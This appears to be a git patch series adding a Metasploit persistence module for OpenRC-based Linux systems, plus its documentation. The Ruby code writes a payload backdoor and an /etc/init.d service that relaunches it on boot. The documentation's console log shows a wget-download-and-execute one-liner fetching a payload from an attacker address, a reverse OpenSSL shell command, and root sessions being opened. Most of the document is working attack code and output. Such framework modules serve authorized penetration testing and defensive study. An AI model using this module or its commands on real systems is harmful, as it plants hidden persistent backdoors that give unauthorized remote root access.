From c2ca191711c1df784f4b69b49f5b7f70183d62ba Mon Sep 17 00:00:00 2001 From: h00die Date: Sat, 6 Sep 2025 11:07:57 -0400 Subject: [PATCH 1/4] update openrc to persistence mixin --- .../exploit/linux/persistence/init_openrc.md | 114 +++++++++++++ .../exploits/linux/persistence/init_openrc.rb | 158 ++++++++++++++++++ 2 files changed, 272 insertions(+) create mode 100644 documentation/modules/exploit/linux/persistence/init_openrc.md create mode 100644 modules/exploits/linux/persistence/init_openrc.rb diff --git a/documentation/modules/exploit/linux/persistence/init_openrc.md b/documentation/modules/exploit/linux/persistence/init_openrc.md new file mode 100644 index 0000000000000..e4c7aebacffea --- /dev/null +++ b/documentation/modules/exploit/linux/persistence/init_openrc.md @@ -0,0 +1,114 @@ +## Vulnerable Application + +This module will create a service on the box via OpenRC, and mark it for auto-restart. +We need enough access to write service files and potentially restart services. + +Verified against alpine 3.21.2 + +## Verification Steps + +1. Exploit a box and get a **root** session +2. `use exploit/linux/persistence/init_openrc ` +3. `set SESSION ` +4. `set PAYLOAD ` +5. `set LHOST ` +6. `exploit` + +## Options + +### SERVICE + +The name of the service to create. If not chosen, a random one is created. + +### PAYLOAD_NAME + +The name of the file to write with our shell if a non-cmd payload is used. If not chosen, a random one is created. + +## Scenarios + +### Alpine Linux 3.21.2 + +Of note, the default install of Alpine doesn't have `curl`, or `bash`. The `OpenSSL` payload was confirmed working though + +Initial access vector via web delivery + +``` +[*] Processing /root/.msf4/msfconsole.rc for ERB directives. +resource (/root/.msf4/msfconsole.rc)> setg verbose true +verbose => true +resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111 +lhost => 111.111.1.111 +resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery +[*] Using configured payload python/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> set srvport 8181 +srvport => 8181 +resource (/root/.msf4/msfconsole.rc)> set target 7 +target => 7 +resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp +payload => linux/x64/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> set lport 4545 +lport => 4545 +resource (/root/.msf4/msfconsole.rc)> set URIPATH l +URIPATH => l +resource (/root/.msf4/msfconsole.rc)> run +[*] Exploit running as background job 0. +[*] Exploit completed, but no session was created. +[*] Starting persistent handler(s)... +[*] Started reverse TCP handler on 111.111.1.111:4545 +[*] Using URL: http://111.111.1.111:8181/l +[*] Server started. +[*] Run the following command on the target machine: +wget -qO xK7yCqmS --no-check-certificate http://111.111.1.111:8181/l; chmod +x xK7yCqmS; ./xK7yCqmS& disown +[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) > +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 222.222.2.222 +[*] Meterpreter session 1 opened (111.111.1.111:4545 -> 222.222.2.222:33954) at 2025-02-09 09:31:16 -0500 +[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > sessions -i 1 +[*] Starting interaction with 1... +(Meterpreter 1)(/root) > getuid +Server username: root +(Meterpreter 1)(/root) > sysinfo +Computer : alpine3.21.2 +OS : (Linux 6.12.12-0-virt) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +(Meterpreter 1)(/root) > background +[*] Backgrounding session 1... +``` + +Persistence + +``` +[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/persistence/init_openrc +[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp +[msf](Jobs:1 Agents:1) exploit(linux/persistence/init_openrc) > set session 1 +session => 1 +[msf](Jobs:1 Agents:1) exploit(linux/persistence/init_openrc) > set payload payload/cmd/unix/reverse_openssl +payload => cmd/unix/reverse_openssl +[msf](Jobs:1 Agents:1) exploit(linux/persistence/init_openrc) > exploit +[+] sh -c '(sleep 4296|openssl s_client -quiet -connect 111.111.1.111:4444|while : ; do sh && break; done 2>&1|openssl s_client -quiet -connect 111.111.1.111:4444 >/dev/null 2>&1 &)' +[*] Exploit running as background job 1. +[*] Exploit completed, but no session was created. +[msf](Jobs:2 Agents:1) exploit(linux/persistence/init_openrc) > +[*] Started reverse double SSL handler on 111.111.1.111:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. /tmp/ is writable and openrc based +[*] Writing backdoor to /tmp//rljkrbglMY +[*] Writing service: /etc/init.d/GpdAgZVBGWq +[*] Writing '/etc/init.d/GpdAgZVBGWq' (141 bytes) ... +[*] Enabling service +[+] Starting service +[*] Accepted the first client connection... +[*] Accepted the second client connection... +[*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/alpine3.21.2_20250209.3159/alpine3.21.2_20250209.3159.rc +[*] Command: echo duVbKHsRwQ5D05J7; +[*] Writing to socket A +[*] Writing to socket B +[*] Reading from sockets... +[*] Reading from socket B +[*] B: "duVbKHsRwQ5D05J7\n" +[*] Matching... +[*] A is input... +[*] Command shell session 2 opened (111.111.1.111:4444 -> 222.222.2.222:43560) at 2025-02-09 09:32:07 -0500 +``` \ No newline at end of file diff --git a/modules/exploits/linux/persistence/init_openrc.rb b/modules/exploits/linux/persistence/init_openrc.rb new file mode 100644 index 0000000000000..c0561ad90a6ae --- /dev/null +++ b/modules/exploits/linux/persistence/init_openrc.rb @@ -0,0 +1,158 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::File + include Msf::Post::Unix + include Msf::Exploit::FileDropper + include Msf::Exploit::EXE # for generate_payload_exe + include Msf::Exploit::Local::Persistence + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Deprecated + moved_from 'exploits/linux/local/service_persistence' + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Init OpenRC Persistence', + 'Description' => %q{ + This module will create a service on the box via OpenRC, and mark it for auto-restart. + We need enough access to write service files and potentially restart services. + Verified against alpine 3.21.2 + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die', + ], + 'Platform' => ['unix', 'linux'], + 'Targets' => [ + ['Automatic', {}] + ], + 'DefaultTarget' => 0, + 'Arch' => [ + ARCH_CMD, + ARCH_X86, + ARCH_X64, + ARCH_ARMLE, + ARCH_AARCH64, + ARCH_PPC, + ARCH_MIPSLE, + ARCH_MIPSBE + ], + 'References' => [ + ['URL', 'https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples'], + ['URL', 'https://attack.mitre.org/techniques/T1543/'], + ['URL', 'https://wiki.alpinelinux.org/wiki/Writing_Init_Scripts'], + ['URL', 'https://wiki.alpinelinux.org/wiki/OpenRC'], + ['URL', 'https://github.com/OpenRC/openrc/blob/master/service-script-guide.md'], + ], + 'SessionTypes' => ['shell', 'meterpreter'], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], + 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] + }, + 'DisclosureDate' => '2007-04-05' # openrc release date + ) + ) + + register_options( + [ + OptString.new('SERVICE', [false, 'Name of service to create']), + OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']), + ] + ) + register_advanced_options( + [ + OptBool.new('EnableService', [true, 'Enable the service', true]) + ] + ) + end + + def check + print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('/tmp') + return CheckCode::Safe("#{datastore['WritableDir']} doesnt exist") unless exists?(datastore['WritableDir']) + return CheckCode::Safe("#{datastore['WritableDir']} isnt writable") unless writable?(datastore['WritableDir']) + return CheckCode::Safe('/etc/init.d/ doesnt exist') unless exists?('/etc/init.d/') + return CheckCode::Safe('/etc/init.d/ isnt writable') unless writable?('/etc/init.d/') + + return CheckCode::Safe('Likely not an openrc based system') unless command_exists?('openrc') + + CheckCode::Appears("#{datastore['WritableDir']} is writable and system is openrc based") + end + + def install_persistence + print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('/tmp') + backdoor = write_shell(datastore['WritableDir']) + + path = backdoor.split('/')[0...-1].join('/') + file = backdoor.split('/')[-1] + + openrc(path, file) + end + + def write_shell(path) + file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10) + backdoor = "#{path}/#{file_name}" + vprint_status("Writing backdoor to #{backdoor}") + + if payload.arch.first == 'cmd' + write_file(backdoor, payload.encoded) + chmod(backdoor, 0o755) + else + upload_and_chmodx backdoor, generate_payload_exe + end + + @clean_up_rc << "rm #{backdoor}\n" + + fail_with(Failure::NoAccess, 'File not written, check permissions.') unless file_exist?(backdoor) + backdoor + end + + def openrc(backdoor_path, backdoor_file) + if payload.arch.first == 'cmd' + script = %(#!/sbin/openrc-run +name=#{backdoor_file} +command=/bin/sh +command_args="#{backdoor_path}/#{backdoor_file}" +pidfile="/run/${RC_SVCNAME}.pid" +command_background="yes" +) + else + script = %(#!/sbin/openrc-run +name=#{backdoor_file} +command="#{backdoor_path}/#{backdoor_file}" +command_args="" +pidfile="/run/${RC_SVCNAME}.pid" +command_background="yes" +) + end + + service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7..12) + service_path = "/etc/init.d/#{service_filename}" + vprint_status("Writing service: #{service_path}") + begin + upload_and_chmodx(service_path, script) + @clean_up_rc << "rm #{service_path}\n" + rescue Rex::Post::Meterpreter::RequestError + print_error("Writing '#{service_path}' to the target and or changing the file permissions failed") + end + + fail_with(Failure::NoAccess, 'Service file not written, check permissions.') unless file_exist?(service_path) + + if datastore['EnableService'] + vprint_status('Enabling service') + cmd_exec("rc-update add '#{service_filename}'") + # won't run from meterpreter, need to shell first + # @clean_up_rc << "rc-update del '#{service_filename}'\n" + end + + print_good('Starting service') + cmd_exec("'#{service_path}' start") + end +end From 945fd8feb1b348379984417a6edcc55fe1b0466a Mon Sep 17 00:00:00 2001 From: h00die Date: Sat, 6 Sep 2025 11:29:36 -0400 Subject: [PATCH 2/4] use attck ref in openrc persistence module --- modules/exploits/linux/persistence/init_openrc.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/linux/persistence/init_openrc.rb b/modules/exploits/linux/persistence/init_openrc.rb index c0561ad90a6ae..717348b73e408 100644 --- a/modules/exploits/linux/persistence/init_openrc.rb +++ b/modules/exploits/linux/persistence/init_openrc.rb @@ -47,6 +47,7 @@ def initialize(info = {}) 'References' => [ ['URL', 'https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples'], ['URL', 'https://attack.mitre.org/techniques/T1543/'], + ['ATT&CK', Mitre::Attack::Technique::T1543_CREATE_OR_MODIFY_SYSTEM_PROCESS], ['URL', 'https://wiki.alpinelinux.org/wiki/Writing_Init_Scripts'], ['URL', 'https://wiki.alpinelinux.org/wiki/OpenRC'], ['URL', 'https://github.com/OpenRC/openrc/blob/master/service-script-guide.md'], From 16e407fa4719064f5cc5a95cfdc4b5ae472d3739 Mon Sep 17 00:00:00 2001 From: h00die Date: Tue, 9 Sep 2025 15:42:26 -0400 Subject: [PATCH 3/4] rc_local updated with mixin udpates --- .../exploits/linux/persistence/init_openrc.rb | 16 +++++++--------- 1 file changed, 7 insertions(+), 9 deletions(-) diff --git a/modules/exploits/linux/persistence/init_openrc.rb b/modules/exploits/linux/persistence/init_openrc.rb index 717348b73e408..4d9815296ba58 100644 --- a/modules/exploits/linux/persistence/init_openrc.rb +++ b/modules/exploits/linux/persistence/init_openrc.rb @@ -46,7 +46,6 @@ def initialize(info = {}) ], 'References' => [ ['URL', 'https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples'], - ['URL', 'https://attack.mitre.org/techniques/T1543/'], ['ATT&CK', Mitre::Attack::Technique::T1543_CREATE_OR_MODIFY_SYSTEM_PROCESS], ['URL', 'https://wiki.alpinelinux.org/wiki/Writing_Init_Scripts'], ['URL', 'https://wiki.alpinelinux.org/wiki/OpenRC'], @@ -76,20 +75,20 @@ def initialize(info = {}) end def check - print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('/tmp') - return CheckCode::Safe("#{datastore['WritableDir']} doesnt exist") unless exists?(datastore['WritableDir']) - return CheckCode::Safe("#{datastore['WritableDir']} isnt writable") unless writable?(datastore['WritableDir']) + print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp') + return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir) + return CheckCode::Safe("#{writable_dir} isnt writable") unless writable?(writable_dir) return CheckCode::Safe('/etc/init.d/ doesnt exist') unless exists?('/etc/init.d/') return CheckCode::Safe('/etc/init.d/ isnt writable') unless writable?('/etc/init.d/') return CheckCode::Safe('Likely not an openrc based system') unless command_exists?('openrc') - CheckCode::Appears("#{datastore['WritableDir']} is writable and system is openrc based") + CheckCode::Appears("#{writable_dir} is writable and system is openrc based") end def install_persistence - print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('/tmp') - backdoor = write_shell(datastore['WritableDir']) + print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp') + backdoor = write_shell(writable_dir) path = backdoor.split('/')[0...-1].join('/') file = backdoor.split('/')[-1] @@ -149,8 +148,7 @@ def openrc(backdoor_path, backdoor_file) if datastore['EnableService'] vprint_status('Enabling service') cmd_exec("rc-update add '#{service_filename}'") - # won't run from meterpreter, need to shell first - # @clean_up_rc << "rc-update del '#{service_filename}'\n" + @clean_up_rc << "execute -f sh -a \"-c 'rc-update del #{service_filename}'\"" end print_good('Starting service') From bce1a199271d48db7481798b655cd84c6b0168b1 Mon Sep 17 00:00:00 2001 From: h00die Date: Thu, 11 Sep 2025 12:00:52 -0400 Subject: [PATCH 4/4] Update modules/exploits/linux/persistence/init_openrc.rb Co-authored-by: msutovsky-r7 --- modules/exploits/linux/persistence/init_openrc.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/persistence/init_openrc.rb b/modules/exploits/linux/persistence/init_openrc.rb index 4d9815296ba58..fad753f0c85c3 100644 --- a/modules/exploits/linux/persistence/init_openrc.rb +++ b/modules/exploits/linux/persistence/init_openrc.rb @@ -105,7 +105,7 @@ def write_shell(path) write_file(backdoor, payload.encoded) chmod(backdoor, 0o755) else - upload_and_chmodx backdoor, generate_payload_exe + upload_and_chmodx(backdoor, generate_payload_exe) end @clean_up_rc << "rm #{backdoor}\n"